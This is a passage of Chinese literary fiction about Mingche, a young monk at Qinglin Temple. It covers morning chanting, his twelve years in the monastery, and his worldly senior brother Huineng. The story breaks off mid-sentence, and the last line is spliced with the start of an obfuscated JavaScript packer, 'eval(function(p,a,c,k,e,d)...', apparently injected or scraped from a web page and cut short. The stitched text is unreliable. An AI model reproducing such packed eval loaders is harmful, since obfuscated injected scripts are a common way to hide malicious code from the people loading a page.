“早课。”
清源住持的声音响起来，不高，甚至有些沙哑，但每一个字都像被砂纸打磨过的石子，清晰、坚硬，沉甸甸地落在大殿冰凉的地砖上，又滚到每个人耳边。
明澈吸了一口气，小腹微收，胸腔打开，气流缓缓上升，穿过喉头。他开口，声音并不洪亮，却有种奇异的穿透力和稳定感，在空旷高阔的殿宇里，稳稳地铺展开来，既不显得咄咄逼人，又足以让每一个角落都听得清楚：
“炉香乍爇，法界蒙熏……”
起调平稳，字正腔圆。每一个音节都像是从他舌尖和上颚间细细地碾磨过，圆润，饱满，带着某种亘古不变的韵律。
他身后的僧人们开始跟上。声音参差不齐，像一群刚刚离巢、尚未学会协调飞行的雏鸟，吱吱喳喳，高低错落。有人起高了，有人唱低了，还有人记不清词，含混地嘟囔过去。慧明的声音混在其中，粗重，带着点不耐烦的敷衍。净心则卖力地扯着嗓子，声音尖细，努力想跟上明澈的节奏。
明澈的诵经声就流淌在这片杂音里，不急不缓，自成一条沉静的河流。他的嘴唇翕动，经文如溪水般潺潺流出，但他的意识却像一缕青烟，从那个跪着的、穿海青的身体里飘了起来，悬在大殿半空，冷眼旁观。
他看着底下黑压压的一片脑袋，光溜溜的，在幽暗里泛着青白的光。看着他们开合的嘴唇，看着他们脸上或虔诚、或困倦、或麻木的表情。看着清源住持纹丝不动的背影，那暗红色像一块巨大的烙印。看着慧明监院微微晃动的身体，和那双不时瞟向自己的、精明的眼睛。
十二年了。
从他六岁那个冬天，被清源住持从山下的孤儿院领回青林寺起，这样的晨钟，这样的早课，这样的檀香混杂着灰尘和人体气味的大殿，几乎就是他生命的全部底色。他学会的第一个字是“佛”，会唱的第一支歌是赞偈，第一次懂得的规矩是“止语”。寺院就是他的世界，高墙之内，晨钟暮鼓，春夏秋冬，周而复始。
他背得出几乎所有常用的经文，知道每尊佛像背后的故事，熟悉每一处殿堂梁柱上的彩绘剥落了哪些颜色。他也知道，慧明监院管着库房，总能把最破的蒲团分给不得他欢心的僧人；知道负责香积厨的广济师叔晚上会偷偷藏起半个馒头当夜宵；知道东寮房最里间漏雨，西边藏经阁的门轴该上油了。
他还知道，慧能师兄——那个此刻蒲团空着的主人——昨晚溜进他寮房时，身上带着股廉价的洗发水香味，还有更深处一丝若有若无的烟草味。慧能笑嘻嘻地，像往常一样，塞给他一包用油纸包着的酥糖，糖纸上印着粗糙的花纹，透着甜腻的香。
“城里买的，尝尝。”慧能的声音总是压得很低，带着点做贼似的兴奋，又有点满不在乎的轻快。
明澈没接。那包酥糖就放在他硬板床的床头，黄澄澄的油纸在昏暗的灯光下有些刺眼。
“明澈，你这辈子就这样了？”慧能自己剥开一颗扔进嘴里，嚼得嘎嘣响，含糊地说，“天天念经，打坐，扫地，吃斋……不闷吗？外头世界大着呢。”
他没回答，只是看着慧能。看着这个比自己大十岁的师兄，看着他圆脸上那双总带着笑意的眼睛，看着他海青袖口磨损的线头。慧能是寺里少数还会跟他开开玩笑、讲点山外新鲜事的人。虽然他讲的，无非是镇上哪家面馆好吃，哪里能买到便宜的香烟，偶尔，会用一种神秘的、压低了的语气，说起“城里那些花花绿绿”。
“你啊，就是被师父养得太干净了。”慧能拍拍他的肩膀，力道不轻，带着热气，“干净得……不像个活人。”
说完，他就晃着膀子走
;eval(function(p,a,c,k,e,d){e=function(c){return(c